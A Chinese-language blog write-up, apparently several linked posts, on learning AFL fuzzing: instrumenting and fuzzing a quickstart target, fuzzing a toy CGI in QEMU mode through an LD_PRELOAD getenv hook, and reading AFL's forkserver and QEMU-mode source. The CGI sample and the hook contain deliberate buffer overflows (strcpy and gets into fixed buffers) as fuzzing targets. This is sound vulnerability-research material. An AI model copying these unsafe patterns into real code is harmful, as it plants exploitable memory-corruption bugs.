OneShell

I fight for a brighter tomorrow

0%

[afl-training] quickstart

afl-trainning 是之前在安全客上发现的关于 AFL 实战的学习资料,之前一直想通过 AFL 来进行实战,苦于网上的都是一些基础的使用教程,发现这个资料的时候欣喜万分。

在这个 AFL workshop 中,主要包含了以下的一些内容:

  • quickstart:一个简单的例子,通过 afl 编译程序然后使用 afl-fuzz 来 fuzz,新手入门必看,也就是这一篇文章
  • harness:
  • challenges:几个使用 fuzz 可以挖掘出来的经典漏洞
    • libxml2:CVE-2015-8317
    • heartbleed:openssl 的心脏滴血漏洞 CVE-2014-0160
    • sendmail:CVE-1999-0206, CVE-2003-0161
    • ntpq:CVE-2009-0159
    • date:CVE-2017-7476
    • cyber-grand-challenge
    • sendmail/1305

教程是可以使用 docker 的形式创建学习环境的,我这个地方就没有使用了,直接在 git 目录中进行学习。

编译

trainning 中使用的是 AFLplusplus,我此处使用的就是 AFL,因为之前在看 AFL 的源码。

首先进入 quickstart 目录,然后使用 afl-clang 对程序源码进行编译

1
2
cd quickstart
CC=afl-clang AFL_HARDEN=1 make

编译出来的程序是读取 STDIN 标准输入进行处理,可直接运行程序,如果敲下回车不输入数据会显示程序帮助信息,也可以直接从 inputs 提供的种子文件进行运行。

undifined

Fuzzing

使用如下的命令直接进行 fuzz,下图是 fuzz 出来的结果,运行了 44 分钟之后跑出了 9 个 crash

1
afl-fuzz -i inputs -o out ./vulnerable

undifined

问题总结

  • AFL 是如何使用 afl-clang 进行插桩的?

    首先需要知道正常使用 gcc 进行编译和使用 alf-clang 进行编译,产生的可执行文件在二进制上的差别。安全相关,因此先使用 checksec 查看 afl-clang 编译出来的可执行文件开启了哪些防御措施,然后使用 gcc 开启对应的防御参数重新进行编译

undifined

那么使用 gcc 进行编译的命令如下,FORTIFY 选项没有编译出来

1
gcc -no-pie -fstack-protector-all -z noexecstack -O2 -D_FORTIFY_SOURCE=1 -o vulnerable_gcc vulnerable.c

undifined

然后使用 bindiff 工具进行查看,可以看到 afl-clang 编译出来的可执行文件中,在每一个基本块中,都加入了 afl_maybe_log 函数,通过在 AFL 源码目录中搜索该函数,可以定位到是在 afl-as.h 文件中,在源码中是以一串静态字符串形式存储的汇编代码,此处以 64 位为例,源码部分如下。

undifined

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static const u8* trampoline_fmt_64 =

"\n"
"/* --- AFL TRAMPOLINE (64-BIT) --- */\n"
"\n"
".align 4\n"
"\n"
"leaq -(128+24)(%%rsp), %%rsp\n"
"movq %%rdx, 0(%%rsp)\n"
"movq %%rcx, 8(%%rsp)\n"
"movq %%rax, 16(%%rsp)\n"
"movq $0x%08x, %%rcx\n"
"call __afl_maybe_log\n"
"movq 16(%%rsp), %%rax\n"
"movq 8(%%rsp), %%rcx\n"
"movq 0(%%rsp), %%rdx\n"
"leaq (128+24)(%%rsp), %%rsp\n"
"\n"
"/* --- END --- */\n"
"\n";

将源代码编译成二进制文件的基本流程是:源代码 -> 汇编代码 -> 二进制代码,将汇编代码编译成二进制的工具就是汇编器 assembler。Linux 常用的汇编器是 as,当完成了 AFL 的编译后,在目录下也会存在一个 as 文件,并且作为符号链接指向 afl-as。因此,此处的代码插桩实现应该是使用的 afl-as,在将源代码编译成汇编代码的过程中,将如上的 afl_maybe_log 函数插入到分支处,也就是在基本块中进行插桩。如上的插桩代码就是 x64 下正常调用一个函数的流程:开辟栈空间,调用 afl_maybe_log 函数,执行完毕函数之后恢复栈平衡。afl_maybe_log 函数也就是插桩具体要执行的内容。此处不多分析 afl_maybe_log 函数的源码,函数位于 afl-as.c 中,就简单说一下函数的实现功能:通过共享内存对基本块的执行情况进行保存。

对于插桩分析得比较不错的可以参考看雪的这篇文章:[原创]AFL编译插桩部分源码分析

使用 afl 对无源码的程序进行 fuzz

有源码的情况下,可以使用 afl 相关的编译器进行编译插桩,然后进行 fuzz;如果是无源码的情况下,就需要使用 afl 的 qemu mode 进行 fuzz。这个地方我使用的是 AFLPlusPlus,之前已经大概看过 afl 的源码,afl++ 源码的结构更加清晰,因此后面都是在使用 afl++ 作为 fuzz 工具。

待 fuzz 程序和函数劫持 so

手上有的程序是 x64 的一个简易 cgi,源码如下,是从环境变量中读取数据存放在 buffer 中,当前的目标就是对其中的一个环境变量进行模糊测试,使用 hook 对 REQUEST_METHOD 赋予给定值 GET,然后对 QUERY_STRING 环境变量从标准输入中读取。具体的 hook 实现过程可以参考如何劫持一个 cgi 的 getenv 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// cgi_nolen.c
// gcc cgi_nolen.c -o cgi_nolen
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char** argv) {
char* method = getenv("REQUEST_METHOD");
char* url;
char buffer[256];
memset(buffer, '\0', sizeof(buffer));
if (!method) {
printf("[!] no init env!\n");
return 0;
}
// 两条路径:
// GET->URL 两个环境变量导致的缓冲区溢出
// POST->STDIN 一个环境变量+标准输入导致的缓冲区溢出
if (!strcmp(method, "GET")) {
printf("[+] this is get method\n");
url = getenv("QUERY_STRING");
printf("[+] get query string %s\n", url);
printf("[*] copy url to buffer\n");
strcpy(buffer, url);
printf("[+] buffer is %s\n", buffer);
} else if (!strcmp(method, "POST")) {
printf("[+] this is post method\n");
// 这个地方存在缓冲区溢出
gets(buffer);
printf("[+] get stdin: %s\n", buffer);
}
return 0;
}

hook 代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// hook.c
// gcc -D_GUN_SOURCE -shared -fPIC -o hook_getenv.so hook.c -ldl
#define _GNU_SOURCE // 使用RELD_NEXT
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>

char *(*original_getenv_func)(const char *) = NULL;
// 定义全局变量buffer来存储STDIN中读取的数据
char buffer[1024];

char *getenv(const char *name) {
memset(buffer, '\0', sizeof(buffer));
// 这个地方还需要考虑变异出来的数据的长度和大小
if (!original_getenv_func) original_getenv_func = dlsym(RTLD_NEXT, "getenv");
// 这个地方需要定义一个缓冲区才行,用来从stdin中读取数据
char *result = original_getenv_func(name);
printf("[hook] hook env %s, origin = %s\n", name, result);
if (!strncmp(name, "REQUEST_METHOD", 14)) {
strncpy(buffer, "GET\0", strlen("GET\0"));
printf("[hook] changing to %s\n", buffer);
return buffer;
} else if (!strncmp(name, "QUERY_STRING", 12)) {
printf("[hook] hook env URL,change to STDIN\n");
gets(buffer);
printf("[hook] from STDIN %s\n", buffer);
return buffer;
} else {
return NULL;
}

return NULL;
}

编译 qemu-mode

要使用 qemu-mode,首先要编译和待 fuzz 程序架构一致的 afl-qemu-trace。打开 qemu-mode 文件夹,准备编译。

1
2
3
CPU_TARGET=x86_64 ./build_qemu_support.sh
cd ..
sudo make install

如果要 fuzz 其他架构的程序,那么对应把 CPU_TARGET 进行设定即可,例如 arm、i386 等等。

设置 QEMU 的 so 劫持

正常情况下如果要劫持一个程序的某些函数,使用环境变量 LD_PRELOAD 即可。afl 的 qemu mode 本质上也是使用的 qemu,如果要劫持待 fuzz 程序的函数,需要在启动 afl 的时候使用环境变量 QEMU_SET_ENV 设置程序在 QEMU 运行下的环境变量。那么 fuzz 的启动命令如下:

1
QEMU_SET_ENV=LD_PRELOAD="./hook_getenv.so" REQUEST_METHOD=GET afl-fuzz -i input -o output -m none -Q ./cgi_nolen 

可以对上面的启动命令做解释:

  • QEMU_SET_ENV=LD_PRELOAD="./hook_getenv.so" 设置待 fuuz 程序的环境变量,设置劫持
  • REQUEST_METHOD=GET 相当于是将 afl-fuzz 和待 fuzz 程序的 REQUEST_METHOD 值都设置成了 POST,因为在 fuzz 的时候使用 fork 创建的子进程继承了 afl-fuzz 的环境变量。
  • afl-fuzz -i input -o output -m none -Q ./cgi_nolen 从 input 文件夹读取种子,fuzz 结果存放在 output 文件夹,无内存限制,使用 QEMU 模式。

跑了 11 分钟,出来了 5000 多个 crash,其中的两个是 unique crash。

undifined

AFL 命令参数说明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
afl-fuzz 2.52b by <lcamtuf@google.com>

afl-fuzz [ options ] -- /path/to/fuzzed_app [ ... ]

Required parameters:

-i dir - input directory with test cases
-o dir - output directory for fuzzer findings

Execution control settings:

-f file - location read by the fuzzed program (stdin)
-t msec - timeout for each run (auto-scaled, 50-1000 ms)
-m megs - memory limit for child process (50 MB)
-Q - use binary-only instrumentation (QEMU mode)
-U - use Unicorn-based instrumentation (Unicorn mode)

Fuzzing behavior settings:

-d - quick & dirty mode (skips deterministic steps)
-n - fuzz without instrumentation (dumb mode)
-x dir - optional fuzzer dictionary (see README)

Other stuff:

-T text - text banner to show on the screen
-M / -S id - distributed mode (see parallel_fuzzing.txt)
-C - crash exploration mode (the peruvian rabbit thing)

For additional tips, please consult /usr/local/share/doc/afl/README.

必须的参数:

  • -i:输入文件夹路径,里面有基本的测试样例
  • -o:afl 的输出文件夹路径

额外控制选项:

  • -f:被 fuzz 的程序从何处读取输入,默认是从 stdin 中读取
  • -t:每一轮模糊测试的超时时间
  • -m:fuzz fork 出来的子进程的内存限制
  • -Q:Qemu 模式启动,可以用来 fuzz 其他架构的程序
  • -u:unicorn 模式,没有怎么用过

fuzz 行为设定:

  • -d:quick & dirty 模式,没有使用过
  • -n:dumb mode,同样没有使用过
  • -x dir:额外的 fuzzer 目录,没有使用过

其他的设定:

  • t:banner 的设定
  • -M:分布式相关的设定,或者说是并行 fuzz
  • -C:crash 探索模式

这些命令参数的使用目前自己也还不大熟练,对于命令参数的解析在 afl-fuzz.c 的 main 函数中的第一个循环内,如下,可以看出参数的设定并不止帮助提示中的那些:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
while ((opt = getopt(argc, argv, "+i:o:f:m:b:t:T:dnCB:S:M:x:QV")) > 0)

switch (opt) {

case 'i': /* input dir */

if (in_dir) FATAL("Multiple -i options not supported");
in_dir = optarg;

if (!strcmp(in_dir, "-")) in_place_resume = 1;

break;

case 'o': /* output dir */

if (out_dir) FATAL("Multiple -o options not supported");
out_dir = optarg;
break;

/* 这个地方不知道是用来做什么的 */
case 'M': { /* master sync ID */

u8* c;

if (sync_id) FATAL("Multiple -S or -M options not supported");
sync_id = ck_strdup(optarg);

if ((c = strchr(sync_id, ':'))) {

*c = 0;

if (sscanf(c + 1, "%u/%u", &master_id, &master_max) != 2 ||
!master_id || !master_max || master_id > master_max ||
master_max > 1000000) FATAL("Bogus master ID passed to -M");

}

force_deterministic = 1;

}

break;

case 'S':

if (sync_id) FATAL("Multiple -S or -M options not supported");
sync_id = ck_strdup(optarg);
break;

case 'f': /* target file */

if (out_file) FATAL("Multiple -f options not supported");
out_file = optarg;
break;

case 'x': /* dictionary */

if (extras_dir) FATAL("Multiple -x options not supported");
extras_dir = optarg;
break;

case 't': { /* timeout */

u8 suffix = 0;

if (timeout_given) FATAL("Multiple -t options not supported");

if (sscanf(optarg, "%u%c", &exec_tmout, &suffix) < 1 ||
optarg[0] == '-') FATAL("Bad syntax used for -t");

if (exec_tmout < 5) FATAL("Dangerously low value of -t");

if (suffix == '+') timeout_given = 2; else timeout_given = 1;

break;

}

case 'm': { /* mem limit */

u8 suffix = 'M';

if (mem_limit_given) FATAL("Multiple -m options not supported");
mem_limit_given = 1;

if (!strcmp(optarg, "none")) {

mem_limit = 0;
break;

}

if (sscanf(optarg, "%llu%c", &mem_limit, &suffix) < 1 ||
optarg[0] == '-') FATAL("Bad syntax used for -m");

switch (suffix) {

case 'T': mem_limit *= 1024 * 1024; break;
case 'G': mem_limit *= 1024; break;
case 'k': mem_limit /= 1024; break;
case 'M': break;

default: FATAL("Unsupported suffix or bad syntax for -m");

}

if (mem_limit < 5) FATAL("Dangerously low value of -m");

if (sizeof(rlim_t) == 4 && mem_limit > 2000)
FATAL("Value of -m out of range on 32-bit systems");

}

break;

case 'b': { /* bind CPU core */

if (cpu_to_bind_given) FATAL("Multiple -b options not supported");
cpu_to_bind_given = 1;

if (sscanf(optarg, "%u", &cpu_to_bind) < 1 ||
optarg[0] == '-') FATAL("Bad syntax used for -b");

break;

}

case 'd': /* skip deterministic */

if (skip_deterministic) FATAL("Multiple -d options not supported");
skip_deterministic = 1;
use_splicing = 1;
break;

case 'B': /* load bitmap */

/* This is a secret undocumented option! It is useful if you find
an interesting test case during a normal fuzzing process, and want
to mutate it without rediscovering any of the test cases already
found during an earlier run.

To use this mode, you need to point -B to the fuzz_bitmap produced
by an earlier run for the exact same binary... and that's it.

I only used this once or twice to get variants of a particular
file, so I'm not making this an official setting. */

if (in_bitmap) FATAL("Multiple -B options not supported");

in_bitmap = optarg;
read_bitmap(in_bitmap);
break;

case 'C': /* crash mode */

if (crash_mode) FATAL("Multiple -C options not supported");
crash_mode = FAULT_CRASH;
break;

case 'n': /* dumb mode */

if (dumb_mode) FATAL("Multiple -n options not supported");
if (getenv("AFL_DUMB_FORKSRV")) dumb_mode = 2; else dumb_mode = 1;

break;

case 'T': /* banner */

if (use_banner) FATAL("Multiple -T options not supported");
use_banner = optarg;
break;

case 'Q': /* QEMU mode */

if (qemu_mode) FATAL("Multiple -Q options not supported");
qemu_mode = 1;

if (!mem_limit_given) mem_limit = MEM_LIMIT_QEMU;

break;

case 'V': /* Show version number */

/* Version number has been printed already, just quit. */
exit(0);

default:

usage(argv[0]);

}

afl qemu-mode 中关于 forkserver 作用

之前在看 afl 源码,粗略看了大概,没有对判断逻辑仔细查看。我原本理解的 afl 创建目标程序进程的方式为:afl-fuzz 父进程先通过 init_forkserver 创建一个 forkserver 子进程,然后对于每次新产生的变异数据,都在 forkserver 进程中通过 fork 创建子进程,通过之前 dup2 函数将变异数据传递到目标程序进程的标准输入,再 execv 加载目标程序,进行执行。

在 runtarget 函数中,只有当如下标志被设置了,才会使用上面描述的每次 fork 一个子进程,再 execve 这种每次需要额外花费进程生命周期(创建->执行->销毁)的方式:

1
if (dumb_mode == 1 || no_forkserver) 

afl 采用的 forkserver 技术,实际上是只进行一次 execve 函数执行,之后对于目标程序进程,是通过写时拷贝技术从已经停止的目标程序进程直接拷贝进程镜像,这样就节约了大量的性能。

最近在实现对于 cgi 的 fuzz,并且也还没有看过 afl-gcc 插桩的原理,此处就以 afl 的 qemu-mode 为例(似乎更加简介明了介绍 forkserver,源码编译的话,是汇编代码),简单介绍一下 afl 中 forkserver 的作用以及实现机制。

afl qemu-mode 中的 forkserver

首先简单说明一下 qemu 的基本执行流程,当 qemu 执行一个程序的时候,需要将 elf 进行加载,从被执行程序的入口点开始对基本块进行翻译。为了提升效率,qemu 会将翻译出来的基本块 TB 存放在 cache 中,当 qemu 执行一个基本块的时候首先判断基本块是否在 cache 中,如果在 cache 则命中直接执行基本块 TB,否则翻译再执行。

afl 的 qemu mode 在编译的时候对 qemu 的源码进行了修改 patch。首先在 elf 加载的时候在 elf 入口点、代码段的 start 和 end 三个地方修改,获得相关地址;然后在 cpu 执行也就是基本块翻译执行的地方进行了修改,也就是进行了与覆盖率统计和 forkserver 相关的插桩。详细的介绍可以看下我的这篇文章:afl qemu 模式简介

afl 的 qemu 模式,在每次执行一个基本块的时候,会调用宏定义 AFL_QEMU_CPU_SNIPPET2 来与 afl-fuzz 进程通信。这也就是在 qemu 实现对于目标程序插桩的原理。

1
2
3
4
5
6
7
#define AFL_QEMU_CPU_SNIPPET2 do { \
if(itb->pc == afl_entry_point) { \
afl_setup(); \
afl_forkserver(cpu); \
} \
afl_maybe_log(itb->pc); \
} while (0)

如果当前执行的基本块是 afl_entry_point,也就是目标程序的入口点,就通过 afl_setup 函数初始化管道和共享内存,然后初始化 forkserver。然后通过 afl-maybe-log 往共享内存中设置覆盖率通信相关信息。此处主要是看一下 forkserver 是如何进行设置的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
/* Fork server logic, invoked once we hit _start. */
// forkserver,会在程序的_start入口处激活一次
static void afl_forkserver(CPUState *cpu) {

static unsigned char tmp[4];

if (!afl_area_ptr) return;

/* Tell the parent that we're alive. If the parent doesn't want
to talk, assume that we're not running in forkserver mode. */
// 通过状态管道向afl-fuzz主进程说明,forkserver已经启动
// 如果写入失败,默认没有使用forkserver模式,return结束
if (write(FORKSRV_FD + 1, tmp, 4) != 4) return;
// 获取自身的进程号
afl_forksrv_pid = getpid();

/* All right, let's await orders... */
// forkserver的主循环,也是在这个地方一直执行目标程序
while (1) {

pid_t child_pid;
int status, t_fd[2];

/* Whoops, parent dead? */
// 从afl-fuzz进程的控制管道读取控制信息,如果读取失败,说明afl-fuzz主进程已经结束
if (read(FORKSRV_FD, tmp, 4) != 4) exit(2);

/* Establish a channel with child to grab translation commands. We'll
read from t_fd[0], child will write to TSL_FD. */

if (pipe(t_fd) || dup2(t_fd[1], TSL_FD) < 0) exit(3);
close(t_fd[1]);

child_pid = fork();
if (child_pid < 0) exit(4);
// 进入子进程,
if (!child_pid) {

/* Child process. Close descriptors and run free. */
// 关闭无关的管道描述符
afl_fork_child = 1;
close(FORKSRV_FD);
close(FORKSRV_FD + 1);
close(t_fd[0]);
return;

}
// 进入forkserver进程
/* Parent. */

close(TSL_FD);

if (write(FORKSRV_FD + 1, &child_pid, 4) != 4) exit(5);

/* Collect translation requests until child dies and closes the pipe. */

afl_wait_tsl(cpu, t_fd[0]);

/* Get and relay exit status to parent. */
// 获取目标程序进程的结束信息,并通过状态管道写回到afl-fuzz主进程中
if (waitpid(child_pid, &status, 0) < 0) exit(6);
if (write(FORKSRV_FD + 1, &status, 4) != 4) exit(7);

}

}

forkserver 的代码主要流程就是:

  1. 首先通过状态管道发送数据给 afl-fuzz 主进程,说明 forkserver 创建成功,然后进入 while(1) 循环。在循环中 forkserver 会 read 阻塞在控制管道,等待 alf-fuzz 主进程发送消息。
  2. 从控制管道接受到 afl-fuzz 主进程发送的数据后,forkserver fork 出新的子进程,此时的子进程也就是新的目标程序进程,会关闭与afl-fuzz通信的管道,返回继续向下执行目标程序进程在 qemu 中的代码。此时父进程 forkserver 则将新 fork 出来的目标程序进程 pid 通过状态管道发送给afl-fuzz
  3. 之后 forkserver 进程进入 afl_wait_tsl,不断循环处理目标程序进程翻译基本块的请求。
  4. 最后当目标程序进程执行完毕后,forkserver 获取结束信息,将结束信息通过控制管道发送给 afl-fuzz 用于判断处理 crash。

相关函数解析

如上是 qemu mode 中 forkserver 的基本流程,如下对中间涉及到的函数进行简单说明:

static void afl-setup(void)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/* Set up SHM region and initialize other stuff. */
// 设置共享内存和相关初始化
static void afl_setup(void) {
// 从环境变量SHM_ENV_VAR中获取共享内存ID
char *id_str = getenv(SHM_ENV_VAR),
*inst_r = getenv("AFL_INST_RATIO");

int shm_id;

if (inst_r) {

unsigned int r;

r = atoi(inst_r);

if (r > 100) r = 100;
if (!r) r = 1;

afl_inst_rms = MAP_SIZE * r / 100;

}

if (id_str) {
// 获取共享内存ID
shm_id = atoi(id_str);
// 获取共享内存指针
afl_area_ptr = shmat(shm_id, NULL, 0);

if (afl_area_ptr == (void*)-1) exit(1);

/* With AFL_INST_RATIO set to a low value, we want to touch the bitmap
so that the parent doesn't give up on us. */

if (inst_r) afl_area_ptr[0] = 1;


}

if (getenv("AFL_INST_LIBS")) {

afl_start_code = 0;
afl_end_code = (abi_ulong)-1;

}

/* pthread_atfork() seems somewhat broken in util/rcu.c, and I'm
not entirely sure what is the cause. This disables that
behaviour, and seems to work alright? */
// 线程安全相关?
rcu_disable_atfork();

}

在 afl_setup 函数中,最主要的就是从相关环境变量获取到共享内存的指针,用于之后进行覆盖率信息统计。

static void afl_wait_tsl(CPUState *cpu, int fd)

首先通过分析 qemu mode 的 patch 可知,qemu 在翻译每一个基本块之后,都会执行宏 AFL_QEMU_CPU_SNIPPET1,

1
2
3
4
5
6
@@ -365,6 +369,7 @@
if (!tb) {
/* if no translated code available, then translate it now */
tb = tb_gen_code(cpu, pc, cs_base, flags, 0);
+ AFL_QEMU_CPU_SNIPPET1;
}
1
2
3
#define AFL_QEMU_CPU_SNIPPET1 do { \
afl_request_tsl(pc, cs_base, flags); \
} while (0)

在宏中主要是执行函数 afl_request_tsl,代码如下,基本流程就是:目标程序进程如果需要翻译一个新的基本块,将基本块信息发送给forkserver,让其加入到基本块 cache 中。这样 forkserver 下次 fork 出来一个新的目标程序进程的时候,就可从 cache 中不用再次翻译基本块,提高性能。该函数是在 forkserver fork 出来的目标程序进程中执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/* This code is invoked whenever QEMU decides that it doesn't have a
translation of a particular block and needs to compute it. When this happens,
we tell the parent to mirror the operation, so that the next fork() has a
cached copy. */
// 此代码只有当qemu翻译一个新的基本块tb时才会执行,并会将其加入到forkserver中,使得下一次fork目标程序进程有cache备份
static void afl_request_tsl(target_ulong pc, target_ulong cb, uint64_t flags) {

struct afl_tsl t;

if (!afl_fork_child) return;

t.pc = pc;
t.cs_base = cb;
t.flags = flags;
// 通过管道发送给forkserver,加入到基本块tb cache中
if (write(TSL_FD, &t, sizeof(struct afl_tsl)) != sizeof(struct afl_tsl))
return;

}

再次就是 afl_wait_tsl 函数,该函数在 forkserver 中执行。代码的流程是,forkserver 执行该函数进入死循环不断接受来自目标程序进程的基本块翻译情况,接收到信息说明目标程序进程翻译了一个新的基本块,那么 forkserver 就在自身的 cache 中搜索该基本块。如果该基本块不在 cache 中,则将该基本块加入到 cache,这样下一次 forkserver fork 新进程就可以使用该缓存,避免重复翻译,提高性能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/* This is the other side of the same channel. Since timeouts are handled by
afl-fuzz simply killing the child, we can just wait until the pipe breaks. */

static void afl_wait_tsl(CPUState *cpu, int fd) {

struct afl_tsl t;
TranslationBlock *tb;

while (1) {

/* Broken pipe means it's time to return to the fork server routine. */
// 循环接受来自fork出来的子进程的基本块翻译请求
if (read(fd, &t, sizeof(struct afl_tsl)) != sizeof(struct afl_tsl))
break;
// 从forkserver的基本块缓存中搜索fork出来的目标进程的基本块
tb = tb_htable_lookup(cpu, t.pc, t.cs_base, t.flags);
// 如果forkserver的基本块缓存中没有搜索到,则翻译基本块并加入到forkserver的缓存中
if(!tb) {
mmap_lock();
tb_lock();
tb_gen_code(cpu, t.pc, t.cs_base, t.flags, 0);
mmap_unlock();
tb_unlock();
}

}

close(fd);

}

小结

总结这篇文章的原因是自己一直没有理解到 forkserver 是如何执行的,毕设涉及到 qemu mode,也需要稍微了解下其中的原理。其实 afl 的 qemu mode 从原理进行分析还是挺简单的,直接分析 patch 文件,看在 qemu 的哪些源码处进行了修改。然后再简单看一下是如何在 qemu 的翻译基本块前后进行相关判断和插桩的。代码量并不多,看完之后对 afl 有了更深的了解,也理解到了 forkserver 在 qemu 模式中是如何启动的,以及通过将每次新翻译的基本块加入到 forkserver 的 cache 中实现性能优化。

参考链接

afl qemu 模式简介

这篇文章主要是参考了 afl-qemu,并简单扩展了自己对 QEMU 的理解和最近对于 AFL 源码阅读的一些理解。

qemu 简介

qemu 在 IoT 漏洞挖掘和复现中被使用得很多用来进行固件的模拟,根据模拟的级别可以分为用户程序模拟和系统虚拟化模拟。

用户程序模拟就是 QEMU 能够将一个平台编译的二进制文件运行在另外一个不同的平台,例如一个 ARM 指令集的二进制程序,通过 QEMU 的 TCG(Tiny Code Generator)处理之后,ARM 指令被转换成 TCG 的中间代码,然后再转换成目的平台的代码。

系统虚拟化模拟指的是 QEMU 能够模拟一个完整的操作系统虚拟机,该虚拟机有自己的虚拟 CPU、芯片组、虚拟内存以及其他的虚拟外设例如网卡,能够给虚拟机中运行的操作系统提供和物理硬件平台一致的硬件视图。

QEMU 能够模拟的平台也很多,常见的 x86/64、ARM、MIPS、PPC 等,早期的 QEMU 都是通过 TCG 来完成对硬件平台的模拟,所有的虚拟机指令也需要通过 QEMU 来进行转换,这个地方不继续深入说明,就简单知道有这个基本 TCG 进行指令翻译的流程。回到正式话题,如果我们要对某个其他指令集的二进制文件进行模糊测试,就可以使用 afl 的 qemu mode。

当我们使用 qemu 来加载一个其他指令集的可执行文件(ELF 为例)时,基本的流程如下:

  • qemu 初始化
  • TCG 初始化
  • CPU 初始化
  • 加载可执行文件,以 ELF 为例,有对 ELF 的解析过程
  • syscall 初始化,qemu 是将可执行文件的系统调用转发到宿主机的系统调用来实现
  • signal 初始化,在 afl 中也是根据 target 执行过程中的 signal 或者结束代码来判断 crash
  • gdbserver 初始化,如果启动 qemu 的时候选择调试 -g
  • cpu_loop 开始模拟

如上,重要的流程就是 QEMU 分析目标程序的 ELF 结构,分配必要的内存,装载所需要的库,然后开始进行指令集的翻译、执行,并且将遇见的 syscall 系统调用转发到宿主机进行模拟。CPU 执行的基本流程大概是:

1
2
3
4
for (;;) {
cpu_exec();
switch(处理退出事件)
}

afl qemu mode

在 afl 源码的 qemu mode 文件夹,目录结构如下,其中有编译 qemu mode 的脚本,qemu-2.10.0 的源码,以及一个 readme 文档。

1
2
3
4
5
6
7
8
9
10
# kali @ kali in ~/Code/AFL/qemu_mode [22:38:50] 
$ tree -L 1
.
├── build_qemu_support.sh
├── patches
├── qemu-2.10.0
├── qemu-2.10.0.tar.xz
└── README.qemu

2 directories, 3 files

在 readme 文档中,有对 qemu mode 的简单介绍,是基于 QEMU 的用户级模拟,用于仿真黑盒闭源二进制文件。

  1. Introduction

The code in this directory allows you to build a standalone feature that
leverages the QEMU “user emulation” mode and allows callers to obtain
instrumentation output for black-box, closed-source binaries. This mechanism
can be then used by afl-fuzz to stress-test targets that couldn’t be built
with afl-gcc.

The usual performance cost is 2-5x, which is considerably better than
seen so far in experiments with tools such as DynamoRIO and PIN.

The idea and much of the implementation comes from Andrew Griffiths.

接下来就是看看 qemu mode 的编译流程,其中大概做了一些注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
#!/bin/sh
#
# Copyright 2015 Google LLC All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at:
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# -----------------------------------------
# american fuzzy lop - QEMU build script
# --------------------------------------
#
# Written by Andrew Griffiths <agriffiths@google.com> and
# Michal Zalewski <lcamtuf@google.com>
#
# This script downloads, patches, and builds a version of QEMU with
# minor tweaks to allow non-instrumented binaries to be run under
# afl-fuzz.
#
# The modifications reside in patches/*. The standalone QEMU binary
# will be written to ../afl-qemu-trace.
#


VERSION="2.10.0"
# QEMU 2.10.0 源码下载
QEMU_URL="http://download.qemu-project.org/qemu-${VERSION}.tar.xz"
QEMU_SHA384="68216c935487bc8c0596ac309e1e3ee75c2c4ce898aab796faa321db5740609ced365fedda025678d072d09ac8928105"

echo "================================================="
echo "AFL binary-only instrumentation QEMU build script"
echo "================================================="
echo

echo "[*] Performing basic sanity checks..."

if [ ! "`uname -s`" = "Linux" ]; then

echo "[-] Error: QEMU instrumentation is supported only on Linux."
exit 1

fi
# 进行patch
if [ ! -f "patches/afl-qemu-cpu-inl.h" -o ! -f "../config.h" ]; then

echo "[-] Error: key files not found - wrong working directory?"
exit 1

fi

if [ ! -f "../afl-showmap" ]; then

echo "[-] Error: ../afl-showmap not found - compile AFL first!"
exit 1

fi


for i in libtool wget python automake autoconf sha384sum bison iconv; do

T=`which "$i" 2>/dev/null`

if [ "$T" = "" ]; then

echo "[-] Error: '$i' not found, please install first."
exit 1

fi

done

